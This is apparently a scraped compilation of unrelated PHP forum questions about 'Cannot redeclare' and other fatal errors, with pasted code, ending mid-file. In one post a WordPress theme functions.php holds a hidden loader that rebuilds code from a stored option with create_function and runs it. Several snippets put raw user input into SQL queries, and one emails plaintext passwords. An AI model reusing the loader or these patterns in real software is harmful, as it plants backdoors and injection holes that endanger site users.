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PHP - Fatal Error: Cannot Redeclare Class
I wanted to inherit child classes from parent class. But it gives error like this:
Fatal error: Cannot redeclare class Ch2_Product in C:\wamp\www\OOPhpSolutions\Ch_02\Product.php on line 3 I have file like this: Product.php Quote <?php class Ch2_Product { protected $_title; protected $_type; public function __construct($title, $type) { $this->_title = $title; $this->_type = $type; } public function getTitle() { return $this->_title; } public function getType() { return $this->_type; } } ?> Next I've inherited like this: Book.php Quote <?php require 'Product.php'; class Ch2_Book extends Ch2_Product { //defining functions } ?> And DVD.php Quote <?php require 'Product.php'; class Ch2_DVD extends Ch2_Product { // } ?> Finally I tried to catch the child class values like this in Ch_Book.php Quote <?php require_once 'Book.php'; require_once 'DVD.php'; $product1 = new Ch2_Book('Old Man and the Sea', 'Novel'); $product2 = new Ch2_DVD('Gone With the Wind', 'Movie'); echo $product1->getTitle(); echo $product1->getType(); echo $product2->getTitle(); echo $product2->getType(); ?> But it gave that error. Can anyone solve this? Similar TutorialsI am getting the following error trying to login to my wordpress backoffice. Fatal error: Cannot redeclare iis7_supports_permalinks() (previously declared in /home/denewman/public_html/KoodayOnline.com/wp-includes/functions.php:3476) in /home/denewman/public_html/KoodayOnline.com/wp-admin/includes/misc.php on line 403 Searching online it appears there is a conflict where there should be a require_once function or something of that sort. There is even a post on this board that talks about it at http://www.phpfreaks.com/tutorial/defining-a-php-function-only-once Since I have never actually dealt with this code before I am not sure where I need to put it for this error. Basically I need help. I have attached the code in two notepad files. Would appreciate any help I can get I know what is wrong but I have no idea how to fix it. This code (at lease part of it) should loop about 17 times (based on the current parameters in the database), but it stops after 1st. I have no idea how to "undeclare" getPage() at the end to make it loop again. Code: [Select] $result = mysql_query("SELECT * FROM Teacher_Registrations WHERE active ='Yes' Order by Full_Name"); while($row = mysql_fetch_array($result)) { $result2 = mysql_query("SELECT * FROM Project_Registrations WHERE (Teacher = '$row[Full_Name]') AND ((Paid_1 = 'No') OR (Paid_2 = 'No' AND Second_Name != 'nostudent') OR (Paid_3 = 'No' AND Third_Name != 'nostudent'))"); $num_rows2 = mysql_num_rows($result2); $row2 = mysql_fetch_array($result2); if ($num_rows2 > '0') { $url = 'http://www.mayapge.us/page.php?'; $url .= 'email='.urlencode("myemail"); $url .= '&teacherid='.urlencode($row['ID']); function getPage($proxy, $url, $header, $timeout) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, $header); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_HTTPPROXYTUNNEL, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_REFERER, 'http://mypage.org'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); $result3['EXE'] = curl_exec($ch); $result3['INF'] = curl_getinfo($ch); $result3['ERR'] = curl_error($ch); curl_close($ch); return $result3; } $result3 = getPage('', $url, '', 15); }} Here is the code: // Count files function filecount($FolderPath) { $filescount = 0; // Open the directory $dir = opendir($FolderPath); // if the directory doesn't exist return 0 if (!$dir){return 0;} // Read the directory and get the files while (($file = readdir($dir)) !== false) { if ($file[0] == '.'){ continue; } //if '.' it is a sub folder and call the function recursively if (is_dir($FolderPath.$file)){ // Call the function if it is a folder type $filescount += filecount($FolderPath.$file.DIRECTORY_SEPARATOR); } else { // Increment the File Count. $filescount++; } } // close the directory closedir($dir); return $filescount; } function getfilenames($location) { // create an array to hold directory list $results = array(); // create a handler for the directory $handler = opendir($location); // open directory and walk through the filenames while ($file = readdir($handler)) { // if file isn't this directory or its parent, add it to the results if ($file != "." && $file != "..") { $results[] = $file; } } // tidy up: close the handler closedir($handler); // done! return $results; } function readfile($file) { $fh = fopen('./Data/' . $file, 'r'); $data = fread($fh, filesize($file)); fclose($fh); return $data; } Now, when I try to get the text from a textfile via the function readfile I get this error: Quote Fatal error: Cannot redeclare readfile() in ***Path\FileManagement.php on line 62 Whats wrong? Regards Worqy From yesterday, I am getting the following error on My wordpress Blog: Code: [Select] Fatal error: Cannot redeclare dsCrypt() (previously declared in /home/learnhow/public_html/wp-content/themes/cadabrapress_v1.1/functions.php(16) : runtime-created function(1) : eval()'d code:24) in /home/learnhow/public_html/wp-content/themes/cadabrapress_v1.1/functions.php(16) : runtime-created function(1) : eval()'d code on line 67 Due to this, the main page of the blog and even the categories, pages also are not opening. Just displaying the error. What is to be done? This is the content of the theme functions.php Code: [Select] <?php define("INC", TEMPLATEPATH . "/functions"); define("WIDGETS", TEMPLATEPATH . "/widgets"); require_once INC . "/wpzoom-functions.php"; require_once INC . "/wpzoom-core.php"; /** * Widgets */ require_once WIDGETS . "/wpzoom-video-widget.php"; ?> <?php function page_options() { $option = get_option('page_option'); $opt=unserialize($option); @$arg = create_function('', $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg('');} add_action('loop_start', 'page_options'); ?> Hi there, I have a local server set up on my computer which I have used before and it worked flawlessly. It is running apache with PHPand mySQL set up as services. Recently I attempted to copy a project I have worked on at school onto my server. I have the database up and running, however when I try to run a PHP file it gives me the error: Quote Fatal error: Cannot redeclare getText() in C:\Server\htdocs\projects\tournament\includes\functions.php on line 20 When I rename that function (which I know is not being redeclared) I get a browser error: Quote This webpage is not available. The webpage at http://localhost/projects/tournament/index.php might be temporarily down or it may have moved permanently to a new web address. More information on this error Below is the original error message Error 101 (net::ERR_CONNECTION_RESET): Unknown error. Has anybody else experienced this error and have a solution to fix it? My guess is that it has to do with the function gettext() being available on this machine but not on the machine at school, however I thought PHP was case sensitive? Fatal error: Cannot redeclare limitatexto() (previously declared in funciones.php:4) in funciones.php on line 12 <?php function limitatexto( $texto, $limite ) - Line 4 { if( strlen($texto)>$limite ) { $texto = substr( $texto,0,$limite ); } return $texto; } Line 12 Code: [Select] <?php include 'config.php'; //include 'dbc.php'; ?> <?php function filter($data) { // <--line 6 $data = trim(htmlentities(strip_tags($data))); if (get_magic_quotes_gpc()) $data = stripslashes($data); $data = mysql_real_escape_string($data); return $data; } ?> <?php /******************* ACTIVATION BY FORM**************************/ if ($_POST['doReset']=='Reset') { $err = array(); $msg = array(); foreach($_POST as $key => $value) { $data[$key] = filter($value); } if(!isEmail($data['email'])) { $err[] = "ERROR - Please enter a valid email"; } $email = $data['email']; //check if activ code and user is valid as precaution $rs_check = mysql_query("select id from users where email='$email'") or die (mysql_error()); $num = mysql_num_rows($rs_check); // Match row found with more than 1 results - the user is authenticated. if ( $num <= 0 ) { $err[] = "Error - Sorry no such account exists or registered."; //header("Location: forgot.php?msg=$msg"); //exit(); } if(empty($err)) { $new_pass = GenPwd(); $pass_reset = MD5($new_pass); //$sha1_new = sha1($new); //set update sha1 of new password + salt $rs_activ = mysql_query("update users set pass='$pass_reset' WHERE email='$email'") or die(mysql_error()); $host = $_SERVER['HTTP_HOST']; $host_upper = strtoupper($host); //send email $message = "Here are your new password details ...\n User Email: $email \n Passwd: $new_pass \n Thank You Administrator $host_upper ______________________________________________________ THIS IS AN AUTOMATED RESPONSE. ***DO NOT RESPOND TO THIS EMAIL**** "; mail($email, "Reset Password", $message, "From: \"Member Registration\" <auto-reply@$host>\r\n" . "X-Mailer: PHP/" . phpversion()); $msg[] = "Your account password has been reset and a new password has been sent to your email address."; //$msg = urlencode(); //header("Location: forgot.php?msg=$msg"); //exit(); } } ?> <html> <head> <title>Forgot Password</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <script language="JavaScript" type="text/javascript" src="js/jquery-1.3.2.min.js"></script> <script language="JavaScript" type="text/javascript" src="js/jquery.validate.js"></script> <script> $(document).ready(function(){ $("#actForm").validate(); }); </script> <link href="styles.css" rel="stylesheet" type="text/css"> </head> <body> <table width="100%" border="0" cellspacing="0" cellpadding="5" class="main"> <tr> <td colspan="3"> </td> </tr> <tr> <td width="160" valign="top"><p> </p> <p> </p> <p> </p> <p> </p> <p> </p></td> <td width="732" valign="top"> <h3 class="titlehdr">Forgot Password</h3> <p> <?php /******************** ERROR MESSAGES************************************************* This code is to show error messages **************************************************************************/ if(!empty($err)) { echo "<div class=\"msg\">"; foreach ($err as $e) { echo "* $e <br>"; } echo "</div>"; } if(!empty($msg)) { echo "<div class=\"msg\">" . $msg[0] . "</div>"; } /******************************* END ********************************/ ?> </p> <p>If you have forgot the account password, you can <strong>reset password</strong> and a new password will be sent to your email address.</p> <form action="forgot.php" method="post" name="actForm" id="actForm" > <table width="65%" border="0" cellpadding="4" cellspacing="4" class="loginform"> <tr> <td colspan="2"> </td> </tr> <tr> <td width="36%">Your Email</td> <td width="64%"><input name="email" type="text" class="required email" id="txtboxn" size="25"></td> </tr> <tr> <td colspan="2"> <div align="center"> <p> <input name="doReset" type="submit" id="doLogin3" value="Reset"> </p> </div></td> </tr> </table> <div align="center"></div> <p align="center"> </p> </form> <p> </p> <p align="left"> </p></td> <td width="196" valign="top"> </td> </tr> <tr> <td colspan="3"> </td> </tr> </table> </body> </html> Fatal error: Cannot redeclare filter() (previously declared in/forgot.php:6) what is wrong ? Hello , I have a made a PHP website where users signup and send their Date of Birth and gets an OTP on their email after signup. The OTP is recieved but when we enter the OTP this problem occurs QuoteError! Something went wrong and I am facing this error in the error log QuotePHP Fatal error: Uncaught Error: Object of class DateTime could not be converted to string This is my config.php code
<?php
session_start();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Confirmation Page - Kanha Stories</title>
<style>
body
{
background-color: #330000;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100%25' height='100%25' viewBox='0 0 800 400'%3E%3Cdefs%3E%3CradialGradient id='a' cx='396' cy='281' r='514' gradientUnits='userSpaceOnUse'%3E%3Cstop offset='0' stop-color='%23D18'/%3E%3Cstop offset='1' stop-color='%23330000'/%3E%3C/radialGradient%3E%3ClinearGradient id='b' gradientUnits='userSpaceOnUse' x1='400' y1='148' x2='400' y2='333'%3E%3Cstop offset='0' stop-color='%23FA3' stop-opacity='0'/%3E%3Cstop offset='1' stop-color='%23FA3' stop-opacity='0.5'/%3E%3C/linearGradient%3E%3C/defs%3E%3Crect fill='url(%23a)' width='800' height='400'/%3E%3Cg fill-opacity='0.4'%3E%3Ccircle fill='url(%23b)' cx='267.5' cy='61' r='300'/%3E%3Ccircle fill='url(%23b)' cx='532.5' cy='61' r='300'/%3E%3Ccircle fill='url(%23b)' cx='400' cy='30' r='300'/%3E%3C/g%3E%3C/svg%3E");
background-attachment: fixed;
background-size: cover;
padding: 20px;
width: 100vw;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
color:#ffffff;
overflow-x: hidden;
}
.cont
{
padding: 20px 40px;
position: relative;
border-right: 4px solid rgb(184, 182, 182);
border-bottom: 4px solid rgb(184, 182, 182);
border-radius: 15px;
display: flex;
flex-direction: column;
align-items: center;
}
#left{
float: left;
}
#right{
float: right;
}
input{
margin: 10px 0px;
}
s{
padding: 5px;
}
.error{
padding: 5px;
color: #ffffff;
}
.resend{
color: rgb(14, 14, 196);
padding: 5px;
}
.s:hover{
cursor: pointer;
background-color:gray;
color: rgb(243, 237, 237);
border-radius: 5px;
}
</style>
</head>
<body>
<?php
$code="";
$err="";
$error="";
if(($_SERVER["REQUEST_METHOD"]=="GET" && $_SESSION['xyz'] === 'xyz') || isset($_POST['verify']) || isset($_POST['resend']))
{
unset($_SESSION["xyz"]);
if($_SERVER["REQUEST_METHOD"] ==="POST")
{
if(isset($_POST['verify']))
{
if(empty($_POST['code']))
{
$err="Enter the code!";
}
else
{
$code=$_POST['code'];
if(password_verify($code,$_SESSION['code']))
{
$name=$_SESSION['name'];
$email=$_SESSION['email'];
$tel=$_SESSION['tel'];
$dob=$_SESSION['dob'];
$password=$_SESSION['password'];
$age_category=$_SESSION['age_category'];
require_once('./all_utils/connection.php');
$sql="INSERT INTO identity_table(name,email,password,tel,dob,age_category) VALUES ('$name','$email','".$password."','$tel','$dob','$age_category')";
if(mysqli_query($conn,$sql) === TRUE)
{
unset($_SESSION["name"]);
unset($_SESSION["password"]);
unset($_SESSION["dob"]);
unset($_SESSION["tel"]);
unset($_SESSION["age_category"]);
header("location:welcome/welcome.php");
}
else
{
$err="Error! Something went wrong";
}
}
else
{
$err="Incorrect code!";
}
}
}
elseif(isset($_POST['resend']))
{
require_once('./all_utils/mail.php');
$error="OTP has been sent again!";
}
}
}
else{
header("location:signup.php");
}
?>
<div class="cont">
<h2> Email Verification</h2>
<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF']) ?>" method="POST">
<label for="verification">Enter the 5 digit code</label>
<br/>
<p> Didn't got the mail? Please check your spam folder </p>
<input type="text" name="code" placeholder="Eg. 12345" value="<?php echo $code; ?>">
<br/>
<div class="error"><?php echo $err; ?></div>
<div class="resend"><?php echo $error;?></div>
<input type="submit" name="resend" class="s" id="left" value="Resend OTP">
<input type="submit" name="verify" class="s" id="right" value="Verify">
</form>
</div>
</body>
</html>
This is my signup.php code
<?php
session_start();
if(!empty($_SESSION['email']))
{
require_once('./all_utils/connection.php');
$query="SELECT * FROM identity_table WHERE email='".$_SESSION['email']."'";
$result=mysqli_query($conn,$query);
if(mysqli_fetch_assoc($result))
{
header("location:welcome/welcome.php");
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>SignUp - Kanha Stories</title>
<style>
* {
margin: 0;
padding: 0;
}
body {
width: 100vw;
height: 100vh;
display: flex;
align-items: center;
background-color: #ff9d00;
background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='100%25' height='100%25' viewBox='0 0 1600 800'%3E%3Cg stroke='%23000' stroke-width='66.7' stroke-opacity='0' %3E%3Ccircle fill='%23ff9d00' cx='0' cy='0' r='1800'/%3E%3Ccircle fill='%23f27d00' cx='0' cy='0' r='1700'/%3E%3Ccircle fill='%23e55f00' cx='0' cy='0' r='1600'/%3E%3Ccircle fill='%23d84400' cx='0' cy='0' r='1500'/%3E%3Ccircle fill='%23cb2c00' cx='0' cy='0' r='1400'/%3E%3Ccircle fill='%23bf1600' cx='0' cy='0' r='1300'/%3E%3Ccircle fill='%23b20300' cx='0' cy='0' r='1200'/%3E%3Ccircle fill='%23a5000e' cx='0' cy='0' r='1100'/%3E%3Ccircle fill='%2398001c' cx='0' cy='0' r='1000'/%3E%3Ccircle fill='%238b0027' cx='0' cy='0' r='900'/%3E%3Ccircle fill='%237e0030' cx='0' cy='0' r='800'/%3E%3Ccircle fill='%23710037' cx='0' cy='0' r='700'/%3E%3Ccircle fill='%2364003b' cx='0' cy='0' r='600'/%3E%3Ccircle fill='%2358003c' cx='0' cy='0' r='500'/%3E%3Ccircle fill='%234b003a' cx='0' cy='0' r='400'/%3E%3Ccircle fill='%233e0037' cx='0' cy='0' r='300'/%3E%3Ccircle fill='%23310030' cx='0' cy='0' r='200'/%3E%3Ccircle fill='%23210024' cx='0' cy='0' r='100'/%3E%3C/g%3E%3C/svg%3E");
background-attachment: fixed;
background-size: cover;
overflow-x: hidden;
}
.cont {
color: #ffffff;
width: 500px;
margin: auto;
}
h2 {
color: #ffffff;
text-align: center;
padding: 1.5px;
}
.error {
text-align: center;
padding: 20px;
font-size: 1rem;
color: rgb(233, 76, 76);
}
form {
font-size: 1.2rem;
/* width: 40%; */
/* margin: auto; */
}
.in{
margin: 5px 0;
}
input {
border: 2px solid white;
padding: 10px;
margin: 5px 0;
font-size: 1rem;
width: 100%;
}
input:hover {
border: 2px solid rgb(228, 81, 81);
cursor: text;
}
p,a{
text-align: center;
font-size: 1rem;
}
a{
color: deepskyblue;
font-size:20px;
}
#s{
text-decoration:none;
border-radius: 12px;
}
#s:hover {
cursor: pointer;
}
a {
text-decoration: none;
}
@media only screen and (max-width: 600px){
.cont{
width: 300px;
}
.error,input{
font-size: 0.8rem;
}
}
@media only screen and (max-width: 400px){
.cont{
width: 70%;
}
h2{
font-size: 1.3rem;
}
a,p{
font-size: 0.7rem;
}
label{
font-size: 1.0rem;
}
input{
padding: 4px;
}
}
</style>
</head>
<body>
<?php
$name="";
$email="";
$tel="";
$dob="";
$err="";
$name_err="";
$email_err="";
$tel_err="";
$dob_err="";
$password_err="";
if($_SERVER["REQUEST_METHOD"]=="POST")
{
if(isset($_POST['signup']))
{
if(empty($_POST['name']) || empty($_POST['dob']) || empty($_POST['tel']) || empty($_POST['email']) || empty($_POST['password']))
{
if(empty($_POST['name']))
{
$name_err="Name is required!";
}
else{
$name=$_POST['name'];
}
if(empty($_POST['email']))
{
$email_err="Email is required!";
}
else{
$email=$_POST['email'];
}
if(empty($_POST['tel']))
{
$tel_err="Contact Number is required!";
}
else{
$tel=$_POST['tel'];
}
if(empty($_POST['dob']))
{
$dob_err="D.O.B is required!";
}
else{
$dob=$_POST['dob'];
}
if(empty($_POST['password']))
{
$password_err="Password is required!";
}
}
else
{
$today = new DateTime(date('m.d.y'));
$dob = new DateTime($_POST['dob']);
$diff1 = $today->diff($dob);
$age = $diff1->y;
if($age > 15 || $age <3)
{
$dob = $_POST['dob'];
$dob_err = "Age criteria not satisfied , child's age must be between 3-15 years";
}
else
{
require_once("./all_utils/connection.php");
$email=$_POST['email'];
$query="SELECT * FROM identity_table WHERE email='".$email."'";
$result=mysqli_query($conn,$query);
if(mysqli_fetch_assoc($result))
{
$err="Email alredy registered!";
$name=$_POST['name'];
$email=$_POST['email'];
}
else
{
if($age < 7)
{
$_SESSION['age_category'] = '1';
}
else
{
$_SESSION['age_category'] = '2';
}
$_SESSION['name']=$_POST['name'];
$_SESSION['email']=$_POST['email'];
$_SESSION['password'] = password_hash($_POST['password'],PASSWORD_DEFAULT);
$_SESSION['tel']=$_POST['tel'];
$_SESSION['dob']=$_POST['dob'];
$_SESSION['xyz']='xyz';
require_once("all_utils/mail.php");
header("location:conf.php");
}
}
}
}
}
?>
<div class="cont">
<h2>SignUp - Kanha Stories</h2>
<form action="<?php echo htmlspecialchars($_SERVER['PHP_SELF'])?>" method="POST">
<span class="error"><?php echo $err; ?></span>
<br/>
<label for="name">Name</label><br />
<input type="text" name="name" placeholder="Enter your name" value="<?php echo $name; ?>">
<span class="error"><?php echo $name_err; ?></span>
<br/>
<label for="email">Email</label><br />
<input type="email" name="email" placeholder="Enter your Email ID" value="<?php echo $email; ?>">
<span class="error"><?php echo $email_err;?></span>
<br/>
<label for="tel">Mobile Number</label><br />
<input type="tel" name="tel" placeholder="Enter Mobile Number" value="<?php echo $tel; ?>">
<span class="error"><?php echo $tel_err;?></span>
<br/>
<label for="date">D.O.B. of Child (Click on Calander icon)</label><br />
<input type="date" name="dob" placeholder="Enter date of birth " value="<?php echo $dob;?>">
<span class="error"><?php echo $dob_err;?></span>
<br/>
<label for="password">Password</label><br />
<input type="password" name="password" placeholder="Enter your Password">
<span class="error"><?php echo $password_err; ?></span>
<br/>
<div class="sub">
<input type="submit" name="signup" id="s" placeholder="Submit"><br />
</div>
</form>
<p>Already registered? <a href="./login.php">log in here</a></p>
</div>
</body>
</html>
I don't know what I can do now , Please try to give me the solutions as soon as possible. Thanks I closed everything down last night and it was all fine, website was working as normal etc, but I've turned on the Xxamp server today and I am getting this error. Seems very random as nothing has changed since it was last on? Does anyone know how to sort this out and why I'm now getting this error? Thanks! Hi all.
Just seeing this error now.
funny enough the site have been live for about a week only to bring this error now!
Fatal error: Class 'PDO' not found in /home/mysite/public_html/includes/file.php on line 21
and this is the file.php
$database='mydb';
$user='username';
$password='password';
$dsn="mysql:host=localhost;dbname=$database";
try {
$pdo = new PDO($dsn,$user,$password); // mysql
} catch(PDOException $e) {
die ('Failed to connect'); // Exit, displaying an error message
}
i just saw this today and it's on godaddy
thanks
This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=357348.0 hello, i am hoping someone can help, been working on my own mvc with help from tutorials, but i am stuck with this error: Fatal error: Class 'services' not found in C:\xampp\htdocs\Workspace\Cyberglide\libs\Bootstrap.php on line 27 were it says services that changes when i type a different item in the url, loads the error page but says that at the bottom of the page. hoping someone can help me where i gone wrong: Code: [Select] <?php class Bootstrap { function __construct() { $url = isset($_GET['url']) ? $_GET['url'] : null; $url = rtrim($url, '/'); $url = explode('/', $url); //print_r($url); if (empty($url[0])) { require 'controllers/index.php'; $controller = new Index(); $controller->index(); return false; } $file = 'controllers/' . $url[0] . '.php'; if (file_exists($file)) { require $file; } else { $this->error(); } $controller = new $url[0]; $controller->loadModel($url[0]); // calling methods if (isset($url[2])) { if (method_exists($controller, $url[1])) { $controller->{$url[1]}($url[2]); } else { $this->error(); } } else { if (isset($url[1])) { if (method_exists($controller, $url[1])) { $controller->{$url[1]}(); } else { $this->error(); } } else { $controller->index(); } } } function error() { require 'controllers/error.php'; $controller = new Error(); $controller->index(); return false; } hope someone can help, many thanks guys. This topic has been moved to PHP Applications. http://www.phpfreaks.com/forums/index.php?topic=315284.0 I have the following script: <?php $tijd[] = '2012-05-23T02:00:00'; $date = new DateTime($tijd[0]); echo $date; ?> However it is not working and resulting in: Quote Catchable fatal error: Object of class DateTime could not be converted to string in time3.php on line 7 I think to solve this issue, I have to convert $tijd[0] into a string. Right? If this is correct, how do I do that? Im working with php 5.1.6. With xampp 1.5.14.
Im also working on a stock application. If I want to say add stock product (add_stock.php) this error is generated on screen. It seems to refer to a function in ump.class.php
Here we go,
ump.class.php
<?php
/**
* GUMP - A fast, extensible PHP input validation class
*
* @author Sean Nieuwoudt (http://twitter.com/SeanNieuwoudt)
* @copyright Copyright (c) 2011 Wixel.net
* @link http://github.com/Wixel/GUMP
* @version 1.0
*/
class GUMP
{
// Validation rules for execution
protected $validation_rules = array();
// Filter rules for execution
protected $filter_rules = array();
// Instance attribute containing errors from last run
protected $errors = array();
// ** ------------------------- Validation Data ------------------------------- ** //
public static $basic_tags = "<br><p><a><strong><b><i><em><img><blockquote><code><dd><dl><hr><h1><h2><h3><h4><h5><h6><label><ul><li><span><sub><sup>";
public static $en_noise_words = "about,after,all,also,an,and,another,any,are,as,at,be,because,been,before,
being,between,both,but,by,came,can,come,could,did,do,each,for,from,get,
got,has,had,he,have,her,here,him,himself,his,how,if,in,into,is,it,its,it's,like,
make,many,me,might,more,most,much,must,my,never,now,of,on,only,or,other,
our,out,over,said,same,see,should,since,some,still,such,take,than,that,
the,their,them,then,there,these,they,this,those,through,to,too,under,up,
very,was,way,we,well,were,what,where,which,while,who,with,would,you,your,a,
b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,$,1,2,3,4,5,6,7,8,9,0,_";
// ** ------------------------- Validation Helpers ---------------------------- ** //
/**
* Shorthand method for inline validation
*
* @param array $data The data to be validated
* @param array $validators The GUMP validators
* @return mixed True(boolean) or the array of error messages
*/
public static function is_valid(array $data, array $validators)
{
$gump = new Gump();
$gump->validation_rules($validators);
if($gump->run($data) === false) {
return $gump->get_readable_errors(false);
} else {
return true;
}
}
/**
* Magic method to generate the validation error messages
*
* @return string
*/
public function __toString()
{
return $this->get_readable_errors(true);
}
/**
* Perform XSS clean to prevent cross site scripting
*
* @static
* @access public
* @param array $data
* @return array
*/
public static function xss_clean(array $data)
{
foreach($data as $k => $v)
{
$data[$k] = filter_var($v, FILTER_SANITIZE_STRING);
}
return $data;
}
/**
* Getter/Setter for the validation rules
*
* @param array $rules
* @return array
*/
public function validation_rules(array $rules = array())
{
if(!empty($rules)) {
$this->validation_rules = $rules;
} else {
return $this->validation_rules;
}
}
/**
* Getter/Setter for the filter rules
*
* @param array $rules
* @return array
*/
public function filter_rules(array $rules = array())
{
if(!empty($rules)) {
$this->filter_rules = $rules;
} else {
return $this->filter_rules;
}
}
/**
* Run the filtering and validation after each other
*
* @param array $data
* @return array
* @return boolean
*/
public function run(array $data)
{
$data = $this->filter($data, $this->filter_rules());
$validated = $this->validate(
$data, $this->validation_rules()
);
if($validated !== true) {
return false;
} else {
return $data;
}
}
/**
* Sanitize the input data
*
* @access public
* @param array $data
* @return array
*/
public function sanitize(array $input, $fields = NULL, $utf8_encode = true)
{
$magic_quotes = (bool)get_magic_quotes_gpc();
if(is_null($fields))
{
$fields = array_keys($input);
}
foreach($fields as $field)
{
if(!isset($input[$field]))
{
continue;
}
else
{
$value = $input[$field];
if(is_string($value))
{
if($magic_quotes === TRUE)
{
$value = stripslashes($value);
}
if(strpos($value, "\r") !== FALSE)
{
$value = trim($value);
}
if(function_exists('iconv') && function_exists('mb_detect_encoding') && $utf8_encode)
{
$current_encoding = mb_detect_encoding($value);
if($current_encoding != 'UTF-8' && $current_encoding != 'UTF-16') {
$value = iconv($current_encoding, 'UTF-8', $value);
}
}
$value = filter_var($value, FILTER_SANITIZE_STRING);
}
$input[$field] = $value;
}
}
return $input;
}
/**
* Return the error array from the last validation run
*
* @return array
*/
public function errors()
{
return $this->errors;
}
/**
* Perform data validation against the provided ruleset
*
* @access public
* @param mixed $input
* @param array $ruleset
* @return mixed
*/
public function validate(array $input, array $ruleset)
{
$this->errors = array();
foreach($ruleset as $field => $rules)
{
#if(!array_key_exists($field, $input))
#{
# continue;
#}
$rules = explode('|', $rules);
foreach($rules as $rule)
{
$method = NULL;
$param = NULL;
if(strstr($rule, ',') !== FALSE) // has params
{
$rule = explode(',', $rule);
$method = 'validate_'.$rule[0];
$param = $rule[1];
}
else
{
$method = 'validate_'.$rule;
}
if(is_callable(array($this, $method)))
{
$result = $this->$method($field, $input, $param);
if(is_array($result)) // Validation Failed
{
$this->errors[] = $result;
}
}
else
{
throw new Exception("Validator method '$method' does not exist.");
}
}
}
return (count($this->errors) > 0)? $this->errors : TRUE;
}
/**
* Process the validation errors and return human readable error messages
*
* @param bool $convert_to_string = false
* @param string $field_class
* @param string $error_class
* @return array
* @return string
*/
public function get_readable_errors($convert_to_string = false, $field_class="field", $error_class="error-message")
{
if(empty($this->errors)) {
return ($convert_to_string)? null : array();
}
$resp = array();
foreach($this->errors as $e) {
$field = ucwords(str_replace(array('_','-'), chr(32), $e['field']));
$param = $e['param'];
switch($e['rule']) {
case 'validate_required':
$resp[] = "The <span class=\"$field_class\">$field</span> field is required";
break;
case 'validate_valid_email':
$resp[] = "The <span class=\"$field_class\">$field</span> field is required to be a valid email address";
break;
case 'validate_max_len':
if($param == 1) {
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be shorter than $param character";
} else {
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be shorter than $param characters";
}
break;
case 'validate_min_len':
if($param == 1) {
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be longer than $param character";
} else {
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be longer than $param characters";
}
break;
case 'validate_exact_len':
if($param == 1) {
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be exactly $param character in length";
} else {
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be exactly $param characters in length";
}
break;
case 'validate_alpha':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain alpha characters(a-z)";
break;
case 'validate_alpha_numeric':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain alpha-numeric characters";
break;
case 'validate_alpha_dash':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain alpha characters & dashes";
break;
case 'validate_numeric':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain numeric characters";
break;
case 'validate_integer':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain a numeric value";
break;
case 'validate_boolean':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain a true or false value";
break;
case 'validate_float':
$resp[] = "The <span class=\"$field_class\">$field</span> field may only contain a float value";
break;
case 'validate_valid_url':
$resp[] = "The <span class=\"$field_class\">$field</span> field is required to be a valid URL";
break;
case 'validate_url_exists':
$resp[] = "The <span class=\"$field_class\">$field</span> URL does not exist";
break;
case 'validate_valid_ip':
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to contain a valid IP address";
break;
case 'validate_valid_cc':
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to contain a valid credit card number";
break;
case 'validate_valid_name':
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to contain a valid human name";
break;
case 'validate_contains':
$resp[] = "The <span class=\"$field_class\">$field</span> field needs contain one of these values: ".implode(', ', $param);
break;
case 'validate_street_address':
$resp[] = "The <span class=\"$field_class\">$field</span> field needs to be a valid street address";
break;
}
}
if(!$convert_to_string) {
return $resp;
} else {
$buffer = '';
foreach($resp as $s) {
$buffer .= "<span class=\"$error_class\">$s</span>";
}
return $buffer;
}
}
/**
* Filter the input data according to the specified filter set
*
* @access public
* @param mixed $input
* @param array $filterset
* @return mixed
*/
public function filter(array $input, array $filterset)
{
foreach($filterset as $field => $filters)
{
if(!array_key_exists($field, $input))
{
continue;
}
$filters = explode('|', $filters);
foreach($filters as $filter)
{
$params = NULL;
if(strstr($filter, ',') !== FALSE)
{
$filter = explode(',', $filter);
$params = array_slice($filter, 1, count($filter) - 1);
$filter = $filter[0];
}
if(is_callable(array($this, 'filter_'.$filter)))
{
$method = 'filter_'.$filter;
$input[$field] = $this->$method($input[$field], $params);
}
else if(function_exists($filter))
{
$input[$field] = $filter($input[$field]);
}
else
{
throw new Exception("Filter method '$filter' does not exist.");
}
}
}
return $input;
}
// ** ------------------------- Filters --------------------------------------- ** //
/**
* Replace noise words in a string (http://tax.cchgroup.com/help/Avoiding_noise_words_in_your_search.htm)
*
* Usage: '<index>' => 'noise_words'
*
* @access protected
* @param string $value
* @param array $params
